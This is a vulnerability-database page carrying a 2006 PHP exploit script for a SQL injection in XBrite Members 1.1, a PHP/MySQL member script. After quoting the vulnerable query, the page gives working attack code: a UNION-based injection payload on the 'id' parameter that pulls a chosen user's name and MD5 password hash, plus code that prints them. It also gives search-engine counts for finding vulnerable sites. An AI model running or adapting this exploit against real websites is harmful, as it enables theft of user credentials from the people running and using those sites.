Lucene search
K

XBrite Members <= 1.1 (id) Remote SQL Injection Exploit

🗓️ 09 Apr 2006 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 21 Views

XBrite Members <= 1.1 Remote SQL Injection Exploit, php / mysql based member script, ID-based password retrieva

Code

                                                &lt;?php /*
 |=================================================================================================|
 |       _______..__   __.      ___      .___________.  ______  __    __   _______ .______         |
 |      /       ||  \ |  |     /   \     |           | /      ||  |  |  | |   ____||   _  \        |
 |     |   (----`|   \|  |    /  ^  \    `---|  |----`|  ,----'|  |__|  | |  |__   |  |_)  |       |
 |      \   \    |  . `  |   /  /_\  \       |  |     |  |     |   __   | |   __|  |      /        |
 |  .----)   |   |  |\   |  /  _____  \      |  |     |  `----.|  |  |  | |  |____ |  |\  \----.   |
 |  |_______/    |__| \__| /__/     \__\     |__|      \______||__|  |__| |_______|| _| `._____|   |
 |                                                                                                 |
 |=================================================================================================|


      exploit: XBrite Members &lt;= 1.1 remote sql injection vulnerability
      release: 2006-04-09
       author: snatcher [snatcher at gmx.ch]
      country: switzerland  |+|
	  
  application: XBrite Members &lt;= 1.1
  description: a php / mysql based member script
     download: http://www.xelebrite.de
	           http://www.clanscripte.net/main.php?content=download&amp;do=file&amp;dlid=179
  description: if magic_quotes_gpc is Off, you can get each password (md5 hash) with a simple sql injection
  fingerprint: google -&gt; &quot;Powered By XBrite Members&quot; -&gt; 2800
               msn -&gt; &quot;Powered By XBrite Members&quot; -&gt;  581
   conditions: php.ini -&gt; magic_quotes_gpc = Off
       greets: all security guys and coders over the world, honkey :&gt;, ..
 terms of use: this exploit is just for educational purposes, do not use it for illegal acts.


---------------------------- members.php - line 197 -------------------------------------
$query = @mysql_query (&quot;select * from oz_members where id='&quot;.$_GET['id'].&quot;'&quot;);
-----------------------------------------------------------------------------------------

because magic_quotes_gpc is off, you can break out of the singel quotes and insert malicious sql code,
i.e. with a union operator.


*/

/*********************** CONFIGURATION ****************************/

$PATH_TO_FILE  = 'http://yourhost.com/member.php';                 // in example: http://yourhost.com/member.php
$USER_ID       = 1;                                                // from which user id do you want the password? default: 1
$GET_VARS      = '?action=members&amp;act=show&amp;id=';                   // do not change
$SQL_INJECTION = '0\' union select 1,1,1,1,1,1,1,1,1,real_name'.   // do not change
                 ',name,pw,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,'.
				 '1,1,1,1,1,1,1,1,1,1,1,1 from oz_members where '.
				 'id = '.$USER_ID.' /*';


/**************************** MAIN ********************************/

$file_array = file($PATH_TO_FILE.$GET_VARS.urlencode($SQL_INJECTION))or die('couldn\'t open host!'); 
foreach ($file_array as $now)                               
	$html_content .= $now;

$html_content = str_castrate($html_content);

preg_match_all(&quot;!Alter:&lt;/b&gt;&lt;/td&gt;&lt;tdwidth=\&quot;50%\&quot;&gt;(.*?)&lt;/td&gt;!&quot;,$html_content,$username); /* gets username */
preg_match_all(&quot;!Herkunft:&lt;/b&gt;&lt;/td&gt;&lt;tdwidth=\&quot;50%\&quot;&gt;(.*?)&lt;/td&gt;!&quot;,$html_content,$password); /* gets password */

if ($username[1][0] &amp;&amp; $password[1][0] &amp;&amp; $username[1][0] &lt;&gt; 'keineAngabe') {
	echo 'username: &lt;b&gt;'.$username[1][0].'&lt;/b&gt;&lt;br&gt;';
	echo 'password: &lt;b&gt;'.$password[1][0].'&lt;/b&gt;';
}else {
	echo 'exploit failed! &lt;br&gt;magic_quotes_gpc = Off ?';
}
echo '&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;
======================================================================&lt;br&gt;
exploit: XBrite Members &lt;= 1.1 remote sql injection vulnerability&lt;br&gt;
release: 2006-04-09&lt;br&gt;
author: snatcher [snatcher at gmx.ch]&lt;br&gt;
======================================================================';

function str_castrate($string) {
	$string = str_replace(&quot;\n&quot;, '', $string);
	$string = str_replace(&quot;\r&quot;, '', $string);
	$string = str_replace(&quot; &quot;, '', $string);
	return $string;
}
?&gt;

# milw0rm.com [2006-04-09]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation